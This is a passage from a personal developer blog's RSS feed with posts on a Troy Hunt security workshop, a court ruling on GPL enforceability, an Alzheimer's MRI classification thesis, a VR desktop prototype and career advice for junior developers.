&lt;p&gt;Slides are available &lt;a href=&quot;/content/pages/slides/Wargames-BouvetOne-November-2018.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Troy @ Bouvet]]></title><description><![CDATA[Two weeks ago, Troy Hunt paid us a visit and held his workshop "Hack yourself first" at Bouvet's Oslo HQ at Majorstuen. Troy, for those of…]]></description><link>https://eivindarvesen.com/blog/2018/07/02/troy-bouvet</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/07/02/troy-bouvet</guid><content:encoded>&lt;p&gt;Two weeks ago, &lt;a href=&quot;https://www.troyhunt.com/&quot;&gt;Troy Hunt&lt;/a&gt; paid us a visit and held his workshop &quot;Hack yourself first&quot; at &lt;a href=&quot;https://www.bouvet.no/&quot;&gt;Bouvet&lt;/a&gt;&apos;s Oslo HQ at Majorstuen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Troy_Hunt&quot;&gt;Troy&lt;/a&gt;, for those of you that don&apos;t know is one of the world&apos;s most widely known web security experts. He famously created &lt;a href=&quot;https://haveibeenpwned.com/&quot;&gt;Have I Been Pwned?&lt;/a&gt;, a site where you can check whether your personal information has been compromised in data breaches.&lt;/p&gt;
&lt;p&gt;How did this happen?&lt;/p&gt;
&lt;p&gt;In a happy coincidence, I saw him tweet he had some time available for private workshops in Oslo around &lt;a href=&quot;https://ndcoslo.com/&quot;&gt;NDC&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I thought &quot;what the heck&quot;, and posted it to our company&apos;s security-channel on Slack.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4b1e734a6c7bd7266bcb995d46e8b02b/20982/intro_1.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 44.30379746835443%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABIklEQVR42nWQ2W6EMAxF+f/vqto+V6o00gzgsAwhC8mwDQ4k1KCqZboc2VLycG3fG3HOT6eTECKE4HeWDb/uhLCG9SfOuWEnQkRrbXuzHbU1N2OGruv7TgqhtWqopUSH+6BPaMG8EyVJ/PT8Guf8/QyXvIrZtZa26VHYUbVjbQfV3r0PX+LjCZFzc9d1cRzn5VVKZW9tP94nN1O5ebmjo8fGsvw6f42oyWJaCihFUvCEFRkApGnGoMgzSBMGcLnEwJgQUmtNcx7E9C8qASyDomJ1wyoFV5nXOuMKuK6Vabc4rNaNMYbSehQH3yLSZdM0+d0fNbnzW/2Z90HsbVW+vaRQjDhTBDTbIS7fJsORB/H2w4kn5CofcEGKh7TOHb39t/kDTFEFyjWPrWUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;My initial Slack post&quot;
        title=&quot;My initial Slack post&quot;
        src=&quot;/static/4b1e734a6c7bd7266bcb995d46e8b02b/f058b/intro_1.png&quot;
        srcset=&quot;/static/4b1e734a6c7bd7266bcb995d46e8b02b/c26ae/intro_1.png 158w,
/static/4b1e734a6c7bd7266bcb995d46e8b02b/6bdcf/intro_1.png 315w,
/static/4b1e734a6c7bd7266bcb995d46e8b02b/f058b/intro_1.png 630w,
/static/4b1e734a6c7bd7266bcb995d46e8b02b/20982/intro_1.png 778w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I also forwarded it to my closest managers, but didn&apos;t think any more of it.&lt;/p&gt;
&lt;p&gt;Then it came up again; People were interested to know if any contact had been established.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 428px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/53dc3243c0479f5425c439f8bcae4fa4/47730/intro_2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 108.86075949367088%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGElEQVR42n1U227TQBTMv/Ed/QckJCQQD4B46Bt8AhIIqIAHhBASSJUolVqo2tRxHDtOnNhe3zdex9c4di7MxjStaMto43ize/bMnDObVlnVLCvKcr6+htVqtX0uOVZ8rC7RWlCtOD3IWMSiKQuZ79MoiimdTONpXdfz+byqqsVisb4Jrbzzme3c8U6OBFXoSqeCcCxKJ1KvLctKHMcTSv0gCENWFEXGkWd5nqZpkqRVVbfKelWe/I5dQ/c0wxnYvma6qu2NXdezLNvFl+f5vk8IcRw3CCgGfrBtB8e1GklJkmCOZSx4rm/oJpg3gYxFaZZN4xgq/qVtW/bPgx+U0rN2uyOK7fa5KIqKonTFbk/pM1XLGEMkYwwqULDFBk3K1v7+/u7ubhRFum4Yhmk7rm4QOpmEYejYDrFsg1g+paOxbpomiIA/9qGQPHi15megDJZtswk1aCIFpRnNQFkfj4nPJK/oWIkWZEEQLJeL9aZJf2n3TtuH374P9aHU7UlSr68O24KoDjTUY8oRp3mOvcsrMZea3796++T+A1kbEJOMRiNd1zVNGwyGvh+AHipmoegopm15NMntr4upsDHQkgenaR7FOfwBTXlZV/MSrphtUBQzOC/PixyfIi9mVZWQ5Sxs7MeDq1lZz6skZjg/zXkIrIB6LC9wne0l7S97H148fnoudxRZFQRBUfpnZ+d4IhsEQzT81Dicn9KMbfDhwfG7Nx/RIngHNoFCYlmwC7q6vRW3Zl5Kn6qHO7QrSepQkRVYBWm7XWk41LbJ8dJcrCs3aqM5oU74/NlE6o4h2rJRZNMkjWFgaVAgxMIvGCDVFB+2xQRyLr3tcvA1WB82QjakasxYXwCNQC2bF6y2RpLcOfplWAbY9vuqpo16sjwajbEJ/QEaJ96see/l60d373Vk0TQMdTBAzjGHDm+DJOFUfTgdEnB5Nu8cmPIr6fsTQ7dZlEAtISaYQyc2QSSshgsDg0AUzsITU5QQRoiTBMxbTd+KLDRM1aNRlqYoL/ZtjD2FsP+1iv+jrddVGSVTUt/e1Ksd2gb/AQ8WxiJGPazTAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Slack messages regarding contact&quot;
        title=&quot;Slack messages regarding contact&quot;
        src=&quot;/static/53dc3243c0479f5425c439f8bcae4fa4/47730/intro_2.png&quot;
        srcset=&quot;/static/53dc3243c0479f5425c439f8bcae4fa4/c26ae/intro_2.png 158w,
/static/53dc3243c0479f5425c439f8bcae4fa4/6bdcf/intro_2.png 315w,
/static/53dc3243c0479f5425c439f8bcae4fa4/47730/intro_2.png 428w&quot;
        sizes=&quot;(max-width: 428px) 100vw, 428px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Andreas (one of my closest managers) said that they were in communication.&lt;/p&gt;
&lt;p&gt;Next thing I know, there&apos;s an announcement and a thank-you.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/067d515ccc59f32c5fe8f2a7ee8c8206/f7616/intro_3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 40.50632911392405%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABI0lEQVR42nWRTW+EIBCG/f8/qkkPTdtjs4cmypfKh+LKIq6CS6Qd3B72sH0ShjcMLwxDkVL6ecY8z1rr0ZhxHNMjkPsLqdCq+z6dpJJ13XChOBfOuRjjLUYfwnaw7ztszWGPab+BuK8UDas/397rtmWUtPSLECIOhuGs9QD0vb4LPRjT01GV+nzplFrXtYAC4J6WC85bLUoppRCyaRopOAg4JWspOaQzMAsIUimoKpu993AhwrgiGJMKE1RhWtKGUoYxRggzxiCWZQVpxmqEEKU0hJDN8DwhO2sv1g3W9fN1PLu1c9s0X6dpsjBcxhgDEhpprV2WBYyHeQuU1Z3W0dt0tPFo6vNfeCSbZzd9vL4QSqc1LGGDelbvt+0GJ6R/uJt/AQ1ywsN3Gi+lAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Announcing the workshop&quot;
        title=&quot;Announcing the workshop&quot;
        src=&quot;/static/067d515ccc59f32c5fe8f2a7ee8c8206/f058b/intro_3.png&quot;
        srcset=&quot;/static/067d515ccc59f32c5fe8f2a7ee8c8206/c26ae/intro_3.png 158w,
/static/067d515ccc59f32c5fe8f2a7ee8c8206/6bdcf/intro_3.png 315w,
/static/067d515ccc59f32c5fe8f2a7ee8c8206/f058b/intro_3.png 630w,
/static/067d515ccc59f32c5fe8f2a7ee8c8206/f7616/intro_3.png 766w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Troy would be paying us a visit, holding a two day internal workshop. And that&apos;s basically how it went down.&lt;/p&gt;
&lt;p&gt;During the workshop, we used offensive techniques to illustrate damage potential (attacking a purpously insecure web application, etc.) and learned how to make our solutions are secure and protected.&lt;/p&gt;
&lt;p&gt;You can read more about the workshop &lt;a href=&quot;https://www.troyhunt.com/workshops/&quot;&gt;on Troy&apos;s site&lt;/a&gt;, and in his &lt;a href=&quot;https://www.troyhunt.com/hack-yourself-first-how-to-go-on/&quot;&gt;blogpost&lt;/a&gt; if you&apos;re interested.&lt;/p&gt;
&lt;p&gt;I had the privilege of being Troy&apos;s chaperone, which basically meant I walked him to his city bike and made sure he got lunch.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/08e4cf60236425a23992c9a66f7b913c/d2602/IMG_4338.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBAgX/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAH/2gAMAwEAAhADEAAAAatzJCYLLf/EABkQAAMBAQEAAAAAAAAAAAAAAAECAwASE//aAAgBAQABBQJD29y0B7OctStXo1cLc7//xAAWEQEBAQAAAAAAAAAAAAAAAAAAASH/2gAIAQMBAT8BrH//xAAVEQEBAAAAAAAAAAAAAAAAAAAAIf/aAAgBAgEBPwFX/8QAHBAAAgICAwAAAAAAAAAAAAAAABESIQExAmFx/9oACAEBAAY/AoxsxqzWByfZfLwSP//EABwQAQACAgMBAAAAAAAAAAAAAAEAESExQVFhkf/aAAgBAQABPyFxKNMswCn1MpPnLA9AZjZZRp1KW+ubn//aAAwDAQACAAMAAAAQP8//xAAYEQACAwAAAAAAAAAAAAAAAAAAAREhUf/aAAgBAwEBPxBrI2f/xAAWEQEBAQAAAAAAAAAAAAAAAAAAAXH/2gAIAQIBAT8QkYf/xAAcEAEAAwACAwAAAAAAAAAAAAABABEhUbGBkaH/2gAIAQEAAT8QQpHRANX0RNtqALK8S/r3dO+4Y3G6wNbXXEWGu2woinNtPyf/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Troy posing&quot;
        title=&quot;Troy posing&quot;
        src=&quot;/static/08e4cf60236425a23992c9a66f7b913c/828fb/IMG_4338.jpg&quot;
        srcset=&quot;/static/08e4cf60236425a23992c9a66f7b913c/ff44c/IMG_4338.jpg 158w,
/static/08e4cf60236425a23992c9a66f7b913c/a6688/IMG_4338.jpg 315w,
/static/08e4cf60236425a23992c9a66f7b913c/828fb/IMG_4338.jpg 630w,
/static/08e4cf60236425a23992c9a66f7b913c/0ede0/IMG_4338.jpg 945w,
/static/08e4cf60236425a23992c9a66f7b913c/3ac88/IMG_4338.jpg 1260w,
/static/08e4cf60236425a23992c9a66f7b913c/d2602/IMG_4338.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;All in all, it was a fun, educational experience!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GPL ruled enforcable in the U.S.]]></title><description><![CDATA[A couple of weeks ago, a U.S. federal court ruled that the GNU General Public License (GPL) is an enforcable license.
As this is a…]]></description><link>https://eivindarvesen.com/blog/2017/05/16/gpl-ruled-enforcable-in-the-us</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/05/16/gpl-ruled-enforcable-in-the-us</guid><content:encoded>&lt;p&gt;A couple of weeks ago, a U.S. federal court ruled that the &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_General_Public_License&quot;&gt;GNU General Public License&lt;/a&gt; (GPL) is an enforcable license.
As this is a potentially important legal event - at least in the U.S. - it&apos;s been discussed both on &lt;a href=&quot;https://news.ycombinator.com/item?id=14323265&quot;&gt;Hacker News&lt;/a&gt; and on Reddit&apos;s &lt;a href=&quot;https://www.reddit.com/r/programming/comments/6aqzah/a_federal_court_has_ruled_that_the_gnu_gpl_is_an/&quot;&gt;programming subreddit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The case in question concerns a South Korean software company called &lt;strong&gt;Hancom&lt;/strong&gt;, which integrated the PDF toolkit &lt;em&gt;Ghostscript&lt;/em&gt; developed by California-based &lt;strong&gt;Artifex&lt;/strong&gt; into its office suite without adhering to the conditions of the license it was made available under.&lt;/p&gt;
&lt;p&gt;Originally written by Richard Stallman and the Free Software Foundation, the GPL gives users what the organization regards as the prerequisites for being called &quot;&lt;a href=&quot;https://www.gnu.org/philosophy/free-sw.en.html&quot;&gt;free software&lt;/a&gt;&quot; - &quot;the four essential freedoms&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The freedom to run the program as you wish, for any purpose (freedom 0).&lt;/li&gt;
&lt;li&gt;The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.&lt;/li&gt;
&lt;li&gt;The freedom to redistribute copies so you can help your neighbor (freedom 2).&lt;/li&gt;
&lt;li&gt;The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that, despite what some might believe, the GPL does not require the software in question to be &lt;strong&gt;gratis&lt;/strong&gt; (or &quot;free as in beer&quot;) - only &lt;strong&gt;libre&lt;/strong&gt; (or &quot;free as in speech&quot;).&lt;/p&gt;
&lt;p&gt;In what is known as a reciprocity requirement, the conditions of the GPL also stipulate that any derivative work based upon GPL-licensed original work must also be licensed under the GPL.&lt;/p&gt;
&lt;p&gt;In the case of &lt;strong&gt;Hancom&lt;/strong&gt; vs. &lt;strong&gt;Artifex&lt;/strong&gt;, &lt;em&gt;Ghostscript&lt;/em&gt; was in fact dual-licensed - alternatively made available under a commercial license (i.e. for a fee), for those that for some reason or another do not wish to adhere to the GPL.&lt;/p&gt;
&lt;p&gt;As &lt;strong&gt;Hancom&lt;/strong&gt; did not make any changes freely available (as per the GPL), they were effectively &lt;a href=&quot;https://www.theregister.co.uk/2017/05/13/gnu_gpl_enforceable_contract/&quot;&gt;&quot;going down the closed-source commercial license lane but without paying a dime&quot;&lt;/a&gt; and infringing copyright.
This prompted creators &lt;strong&gt;Artifex&lt;/strong&gt; to unsuccessfully demand backdated license fees, before suing &lt;strong&gt;Hancom&lt;/strong&gt; in a California district court.&lt;/p&gt;
&lt;p&gt;The gist of the matter is that Judge Corley denied &lt;strong&gt;Hancom&lt;/strong&gt;&apos;s motion to dismiss the case on the grounds that the company didn&apos;t sign anything - thus the license wasn&apos;t a &quot;real contract&quot;.
In doing so she set the precedent that software licenses can be treated like legal contracts - even though the FSF has historically &lt;a href=&quot;https://www.gnu.org/philosophy/enforcing-gpl.en.html&quot;&gt;not necessarily agreed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The official court records are available &lt;a href=&quot;https://cases.justia.com/federal/district-courts/california/candce/3:2016cv06982/305835/32/0.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Automatic Classification of Alzheimer's Disease from Structural MRI]]></title><description><![CDATA[For my Master's thesis (finished in 2015), I decided to investigate whether or not machine learning techniques could be used to automate…]]></description><link>https://eivindarvesen.com/blog/2017/07/31/automatic-classification-of-alzheimers-disease-from-structural-mri</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/07/31/automatic-classification-of-alzheimers-disease-from-structural-mri</guid><content:encoded>&lt;p&gt;For my Master&apos;s thesis (finished in 2015), I decided to investigate whether or not machine learning techniques could be used to automate classification of Alzheimer&apos;s disease in Magnetic Resonance Images (MRIs).&lt;/p&gt;
&lt;p&gt;For my dataset, I used data from the &lt;a href=&quot;http://adni.loni.usc.edu/&quot;&gt;Alzheimer&apos;s Disease Neuroimaging Initiative (ADNI)&lt;/a&gt;, specifically the complete 3 year 1.5 tesla dataset from the ADNI1 study - all which was available when I started the project.&lt;/p&gt;
&lt;p&gt;The complete dataset contained 2182 three-dimensional T1-weighted MRIs of patients from the following three groups:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;200 Alzheimer’s Disease (mild)&lt;/li&gt;
&lt;li&gt;400 Mild Cognitive Impairment&lt;/li&gt;
&lt;li&gt;200 Normal (healthy controls)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As structural irregularities of the brain is a sensitive feature of the disease (which is observable on MR images), I speculated that machine learning models (and maybe &quot;deep&quot; models in particular) might be able to learn features from high-dimensional data like structural MRI.&lt;/p&gt;
&lt;p&gt;The main machine learning methods used were decision trees, implemented using &lt;a href=&quot;https://www.rulequest.com/see5-info.html&quot;&gt;C5.0&lt;/a&gt;; and neural networks, implemented using the now unmaintained &lt;a href=&quot;http://deeplearning.net/software/pylearn2/&quot;&gt;Pylearn2&lt;/a&gt; library (built on top of &lt;a href=&quot;http://deeplearning.net/software/theano/&quot;&gt;Theano&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I also used several methods of dimensional reduction (histograms, Principal Component Analysis and downscaling of the images) and variations in the formulation of the learning task via different schemes of merging diagnostic groups.&lt;/p&gt;
&lt;p&gt;In the end, decision trees trained on a dataset that had been dimensionally reduced via Principal Component Analysis, with learning posed as a binary classification problem
between Alzheimer’s disease and all other diagnostic groups yielded the best results —
85.8% correct classification, which was comparable to related work.&lt;/p&gt;
&lt;p&gt;Sadly, I did not have time to experiment more with regard to complex architectures, costs and specialized activation functions – deep convolutional nets, for instance, would likely be suitable for this sort of problem.&lt;/p&gt;
&lt;p&gt;Luckily, this work gave me an opportunity to make a &lt;em&gt;small&lt;/em&gt; &lt;a href=&quot;https://github.com/lisa-lab/pylearn2/pull/1429&quot;&gt;contribution&lt;/a&gt; to &lt;a href=&quot;http://deeplearning.net/software/pylearn2/&quot;&gt;Pylearn2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All the code I produced during my work is available on &lt;a href=&quot;https://github.com/EivindArvesen/master_code&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since then, I&apos;ve come across &lt;a href=&quot;http://www.biorxiv.org/content/biorxiv/early/2016/12/23/070441.full.pdf&quot;&gt;someone&lt;/a&gt; &lt;a href=&quot;https://scholar.google.es/scholar?cites=3203012561059942426&amp;#x26;as_sdt=2005&amp;#x26;sciodt=0,5&amp;#x26;hl=no&quot;&gt;citing&lt;/a&gt; my thesis, who claim to have achieved 98.84% accuracy on MRI classifaction.&lt;/p&gt;
&lt;p&gt;Given what has changed since I originally worked on the project - like progress in machine learning research, the increased power of consumer grade GPUs which can be used to accelerate the learning process, and the availability of libraries like &lt;a href=&quot;https://keras.io/&quot;&gt;Keras&lt;/a&gt; - it would certainly be interesting to give the problem another crack.&lt;/p&gt;
&lt;p&gt;The full thesis can be found on &lt;a href=&quot;https://brage.bibsys.no/xmlui/handle/11250/293860&quot;&gt;Brage&lt;/a&gt; (or right &lt;a href=&quot;thesis.pdf&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A VR Desktop]]></title><description><![CDATA[I just released a prototype VR desktop app I created this summer.
The application runs a local server on your computer, which you connect to…]]></description><link>https://eivindarvesen.com/blog/2018/08/08/a-vr-desktop</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/08/08/a-vr-desktop</guid><content:encoded>&lt;p&gt;I just released a prototype VR desktop app I created this summer.
The application runs a local server on your computer, which you connect to on a smartphone; the phone will display your desktop projected in VR space, and you can then put the phone in an HMD mount.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;demo.gif&quot; alt=&quot;Demo&quot; title=&quot;Demo&quot;&gt;&lt;/p&gt;
&lt;p&gt;Just below the virtual screen, you can also see a live feed from your phone&apos;s rear-facing camera, allowing you to see what you type.&lt;/p&gt;
&lt;p&gt;You can find it &lt;a href=&quot;https://github.com/EivindArvesen/vdisplay&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A few tips for junior developers]]></title><description><![CDATA[The following are a few thoughts, mostly non-technical career-advice – things I learned in my previous roles as software developer, tech…]]></description><link>https://eivindarvesen.com/blog/2021/01/20/a-few-tips-for-junior-developers</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2021/01/20/a-few-tips-for-junior-developers</guid><content:encoded>&lt;p&gt;The following are a few thoughts, mostly non-technical career-advice – things I learned in my previous roles as software developer, tech lead and architect.&lt;/p&gt;
&lt;p&gt;Might be useful for some. Some might have heard/read/thought similar opinions before.&lt;/p&gt;
&lt;h2&gt;Learn basic principles&lt;/h2&gt;
&lt;p&gt;Don&apos;t learn abstractions or implementation-specifics – learn basics, principles and foundations! Don&apos;t learn Azure, or &quot;the cloud&quot; – learn systems, networks, ops and admin.&lt;/p&gt;
&lt;p&gt;Similarly: don&apos;t learn to &quot;program Java&quot; – learn C-style syntax. And just like with human languages: the more languages you learn, the easier the next one will be. Not to mention how useful the exposure to different approaches (via differences in syntax and implementation) is for your comprehension.&lt;/p&gt;
&lt;h2&gt;Be curious&lt;/h2&gt;
&lt;p&gt;Try to become aware of what you don&apos;t know – be it fields you aren&apos;t an expert in, technologies you have no experience with and opinions you don&apos;t understand. Don&apos;t hide the fact that you don&apos;t know, but appreciate this fact to build intellectual humility; Educate yourself by communicating with those that know or learning by yourself. Strive to actively seek new impulses, other perspectives, etc. – as in life in general: The more new ideas you can expose yourself to, the better.&lt;/p&gt;
&lt;h2&gt;Collaborate&lt;/h2&gt;
&lt;p&gt;Seek opportunities to work with other people, preferrably people that know something you don&apos;t on some level (be it specialization or profession).&lt;/p&gt;
&lt;p&gt;For example, pair-programming lets you reason about problem solving while simultaneously having a different perspective available to you – a different mind thinking different thoughts will make different considerations than you, and potentially catch different problems.&lt;/p&gt;
&lt;p&gt;Code-review ensures quality by way of getting another pair of eyes to look at your code, questioning your assumpitions – and it might even give you actionable feedback that not only makes the problem du jour solvable, but also lets you grow as a developer.&lt;/p&gt;
&lt;p&gt;##Consider Non-Functional Requirements&lt;/p&gt;
&lt;p&gt;Functional requirements (requirements describing what the system should be able to do) is one thing, but in developing as a developer (...) you should start considering non-functional requirements as well.&lt;/p&gt;
&lt;p&gt;Non-functional requirements (or NFRs) – also known as quality requirements – &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Non-functional_requirement&quot;&gt;specifies criteria that can be used to judge the operation of a system, rather than specific behaviors&lt;/a&gt;&quot;. Examples include accessibility, interoperability, security, privacy, stability, scalability, efficiency, and usability. These properties of the system as a whole can be just as important as functional requirements; The way in which a system does what it does will in many cases be just as (if not more) important as what functionality it implements for users.&lt;/p&gt;
&lt;p&gt;NFRs are thus (arguably) more a consern in architecture than in pure systems design.&lt;/p&gt;
&lt;h2&gt;Just do it!&lt;/h2&gt;
&lt;p&gt;Though it can seem overwhelming: Dig deep and try stuff! Read specs, experiment with stuff that&apos;s out of your comfort zone and learn something new!&lt;/p&gt;
&lt;p&gt;Maybe you want to &lt;a href=&quot;http://buildyourownlisp.com&quot;&gt;Build Your Own LISP&lt;/a&gt;, &lt;a href=&quot;https://www.fast.ai&quot;&gt;practice deep learning&lt;/a&gt;, &lt;a href=&quot;http://overthewire.org/wargames/&quot;&gt;do some wargaming&lt;/a&gt; – or just solve a problem you have by programming a solution.&lt;/p&gt;
&lt;h2&gt;Google-Fu&lt;/h2&gt;
&lt;p&gt;Learn to find the information you need. Get familiar with reading manuals (RTFM!) using &lt;code class=&quot;language-text&quot;&gt;man &amp;lt;whatever command&gt;&lt;/code&gt;, googling, and so on. Maybe look into Google Dorking – familiarize yourself with the &lt;a href=&quot;https://ahrefs.com/blog/google-advanced-search-operators/&quot;&gt;Google Search operators&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Get comfortable with standard tools&lt;/h2&gt;
&lt;p&gt;Teach yourself *nix basics, and get comfortable in your shell of choice (typically bash, zsh or fish these days). You&apos;d be amazed how many daily problems you can solve using only standard Unix command-line interface (CLI) progams in your terminal.&lt;/p&gt;
&lt;h2&gt;Take care of you body&lt;/h2&gt;
&lt;p&gt;Remember to take care of your body! Exercise every now and then, vary your sitting position, and take breaks for your eyes (look at something 20m away for 20 seconds every 20 minutes), back (stand up, don&apos;t hunch, engage your core) and mind (talk to someone about non-work, think about something else, do something meaningful and/or stimulating).&lt;/p&gt;
&lt;h2&gt;Learn about project structure&lt;/h2&gt;
&lt;p&gt;Take a look at popular open source software projects on GitHub, make a note of how they are organized – you&apos;ll learn a ton of best practices (documentation, README contents and structure, the importance of reproducibility in a development setup, testing-strategy, how to handle issues, and perform pull-requests and code-reviews)&lt;/p&gt;
&lt;h2&gt;Side-projects&lt;/h2&gt;
&lt;p&gt;Having your own side projects and contributing to open source can teach you &lt;em&gt;a lot&lt;/em&gt;. It could be a good idea to doodle on software you find interesting (for whatever reason) every now and then – especially if it&apos;s something you&apos;re not particularly familiar with, or something that&apos;s different from what you usually work on.&lt;/p&gt;
&lt;p&gt;On the other hand, it should &lt;strong&gt;not&lt;/strong&gt; be &lt;u&gt;expected&lt;/u&gt; that everyone spends their free time programming – people have different hobbies, after all... and it&apos;s not like we expect teachers to teach during their spare time, plumbers to plumb during their spare time, and so on.&lt;/p&gt;
&lt;h2&gt;Onboarding&lt;/h2&gt;
&lt;p&gt;Getting thrown onto an existing project&apos;s codebase can be challenging.&lt;/p&gt;
&lt;p&gt;If it exists: seek out system design documents, diagrams of dataflows, and scripts that automate dev-setup. If these don&apos;t exist, take the opportunity to create them as you gain the knowledge yourself – you&apos;ll have to learn these things anyways, because you have to get up and running somehow. The other project participants will thank you, and the results will be invaluable the next time someone is to be onboarded (or when trying to reason about the system, if it is particularly complex).&lt;/p&gt;
&lt;h2&gt;Software design and architecture&lt;/h2&gt;
